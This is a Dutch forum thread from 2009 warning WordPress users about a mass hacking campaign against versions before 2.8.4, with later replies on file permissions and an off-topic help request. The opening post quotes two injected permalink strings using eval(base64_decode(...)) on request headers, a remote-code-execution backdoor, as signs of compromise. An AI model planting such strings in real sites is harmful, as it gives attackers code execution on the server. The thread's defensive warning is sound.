Grote Wordpress (< v2.8.4) hackaanval bezig.

[Verwijderd]

Sinds enkele uren, misschien dagen, is er een grote Wordpress aanval bezig. Met een snel tempo worden er velen Wordpress blogs/sites gehacked. Dit betreft tot nu toe alle versies ouder dan de laatste versie (2.8.4).
Het zou eventueel (uit onbevestigde berichten) kunnen zijn dat ook de laatste versie niet helemaal veilig is en dat er een nieuwe update komt.

Dus voor iedereen met een Wordpress site, hou het even goed in de gaten. En uiteraard direct upgraden naar de laatste versie, mocht je dat nog niet gedaan hebben.

Om te kunnen zien of je gehackt bent kun je dit controleren bij de permalinks. Deze zouden dan veranderd moeten zijn naar:

code:

    %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%

    “/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

Ook kan er een hidden admin user zijn toegevoegd. Kijk bij users en let op of het aantal admin users ook het aantal admin users betreft als er daadwerkelijk zijn. Je kunt ook kijken in de database met phpmyadmin.

Meer info:
http://mashable.com/2009/09/05/wordpress-attack/
http://lorelle.wordpress....ss-versions-under-attack/

[ Voor 28% gewijzigd door Verwijderd op 05-09-2009 20:44 ]

[Sebazzz]

Gelukkig heb ik bij het begin al Wordpress 2.8.4 gedraaid op me website.

[_Thanatos_]

Zoiets is toch onmogelijk als de webserver geen rechten heeft om in de wordpress-directory te schrijven? (dwz rechten op filesystem-niveau)

[ Voor 14% gewijzigd door _Thanatos_ op 07-09-2009 03:44 ]

[Pin0]

_Thanatos_ schreef op maandag 07 september 2009 @ 03:43:
Zoiets is toch onmogelijk als de webserver geen rechten heeft om in de wordpress-directory te schrijven? (dwz rechten op filesystem-niveau)

Bij de meeste cms-en kan je files uploaden ed. Dan is er sowieso een directorie schrijfbaar voor de webserver.

[_Thanatos_]

Als die files in een database komen, heb je geen schrijfbare map nodig

[Voutloos]

_Thanatos_ schreef op woensdag 09 september 2009 @ 19:35:
Als die files in een database komen, heb je geen schrijfbare map nodig

En als je dan een fuckup maakt dat iemand in de DB kan schrijven ben je net zo hard de sjaak. Je vervangt nu het ene systeem dat beveiligd moet worden voor het andere, maar het kan allebei net zo fout gaan.

[JeroenH]

Niet helemaal ontopic, maar het lijkt me niet nodig hier een speciaal topic voor te openen. En ik hoop dat hier wat Wordpress experts zitten.

Ik heb een probleem met mijn Wordpress website (deze) wat ik niet kan verklaren. Het gaat om deze specifieke pagina: klik. Zoals je ziet staat daar een lijst van WSC teams. Zodra ik echter één (of meerdere) rijen toe voeg wordt een lege pagina weegegeven (wel de normale banner bovenaan en de widgets rechts, maar niet meer de tabel met teams). Het is erg frustrerend want ik heb geen programmeer kennis, dat is ook de reden dat ik voor een 'kant-en-klaar-systeem' als Wordpress gekozen heb.

Ik snap er helemaal niks van. Heeft iemand een idee wat dit zou kunnen zijn en belangrijker nog: wat ik kan doen om het op te lossen?

WP is geüpdate - het probleem was er ook met de vorige versie - en het heeft ook niets te maken met mijn multilingual plugin, want als ik die uitschakel kan ik het probleem op dezelfde wijze reproduceren.

[RobIII]

JeroenH schreef op zaterdag 12 september 2009 @ 19:54:
Niet helemaal ontopic, maar het lijkt me niet nodig hier een speciaal topic voor te openen. En ik hoop dat hier wat Wordpress experts zitten.

Behalve dat het topic al niet in WEB hoort (Waar hoort mijn topic?) zie ik al helemaal niet wat jouw post dan weer in dit topic doet want behalve het woordje "Wordpress" heeft het niets gemeen met elkaar.

Open gerust een nieuw topic, maar lees voordat je dat doet eerst onze Quickstart door want met de informatie die je nu verschaft komen we nergens.